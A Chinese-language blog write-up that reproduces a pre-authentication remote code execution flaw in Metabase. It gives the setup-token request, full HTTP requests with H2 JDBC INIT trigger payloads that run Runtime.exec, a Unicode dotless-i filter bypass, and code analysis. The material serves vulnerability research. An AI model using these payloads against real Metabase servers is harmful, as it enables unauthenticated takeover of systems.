twi上看到了这个洞 而且还是Pre-auth RCE,想赶着热乎的尝试分析一下、结果踩了个坑——官方的patch并没有在github源码中 而是直接包含在了release文件中,也是没有经验,最终独立复现以失败告终
下面是根据其他师傅的文章来复现,嘛 也算不亏 毕竟知识是学到了√
前置
Metabase是一个开源的Dashboard 可用来展示数据可视化的图表等,有用户系统,项目主要由Clojure编写(基于Lisp 但建立在JVM之上,可以和Java互相调用),分发出的可执行的文件是.jar文件,通过java -jar Metabase.jar启动
debug环境就不多说了,经典的Remote JVM Debug
java.exe -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 .\lib\metabase.jar
如果觉得没有Java的原生类看着别扭 可以单独添加与运行Java版本对应的src.zip到Library中
*有一个很蛋疼的点是Metabase项目较大 同时有很多个线程在执行,debug可能不是很流畅
失败尝试
从网传厚码的截图看出利用点是在一个POST JSON请求,我们先找到处理web请求的handle函数org.eclipse.jetty.server.Server#handle
,发现metabase使用的是jetty作为中间件,后续处理请求大部分代码使用Clojure(如路由匹配、鉴权等核心功能) 其中穿插调用Java代码
回看更新前后的diff,除去Docker tag的bug修复、为发布release的空commit以外,还剩下两个 都与数据库有关,但都是对已有issues的修复,看不出来有什么安全上的考量…… 阴谋论一下:可能关于安全的更新仅在release文件中
*结果还真是
正确道路
H2 JDBC RCE
在Metabase初始化时可以选择配置数据库连接,支持H2数据库
回想之前JDBC的利用技巧,我们可以利用连接语句的INIT
配置项做到rce
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8081/poc.sql'
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER amiz BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript\njava.lang.Runtime.getRuntime().exec(\"calc.exe\")'
那Metabase是否可以做一样的事情呢?
先发送一个普通的连接数据包
是用json确定连接时的参数,我们添一条init
并把payload放入,db选取Metabase.jar中自带的sample-database.db,虽然是在jar包中、但可以用zip:
让其自动解压
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:./lib/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc.exe')\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
又因为这个连接的过程在最初项目setup时也有,用来鉴权的token在/api/session/properties
中(未授权访问,在setup结束后仍然存在),所以整体的利用过程如下
- 请求/api/session/properties获取setup-token
GET /api/session/properties HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
- 请求/api/setup/validate,利用H2 JDBC的技巧进行RCE
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 739
{
"token": "[setup-token]",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:./lib/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER amiz BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '//javascript\njava.lang.Runtime.getRuntime().exec(\"calc.exe\")'"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
代码分析
虽然我们是直接利用了init
,但实际上Metabase是存在过滤的,在metabase.driver.h2/connection-string-set-safe-options中有这样的代码
会将INIT=...
统统删除,那为什么我们还可以利用成功呢?
因为实际进入到判断的options只有db
里的MODE=MSSQLSERVER
,init
参数是通过json中单独的键传入
而全部的参数则会在之后不断merge到jdbc-spec参数中
jdbc-spec中的所有配置项是不经过安全检查的,直接就到了java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties),所以导致我们对payload不用任何的处理即可被执行
另一种payload
如果我们就是执意要把init=xxx
放到db
字符串里,可以怎么绕过呢?p牛的这篇文章-> Fuzz中的javascript大小写特性提到拉丁字母"ı".toUpperCase() == 'I'
,但connection-string-set-safe-options是使用lower-case-en
对db
字符串的参数转小写后匹配,到h2真正执行时会用readSettingsFromURL
函数进行处理,这里用的时toUpperEnglish
;我们利用这个大小写差异来构造paylaod
{
"token": "[setup-token]",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:./lib/metabase.jar!/sample-database.db;MODE=MSSQLServer;ınit=CREATE TRIGGER amiz BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('calc.exe')\n$$",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
经验教训
- 有时候开源项目的安全更新并不在commit里…… 也许鸡贼的直接在release中进行patch
- 漏洞是新的,但核心往往是已有的trick的奇妙组合,基本功还是要很扎实才行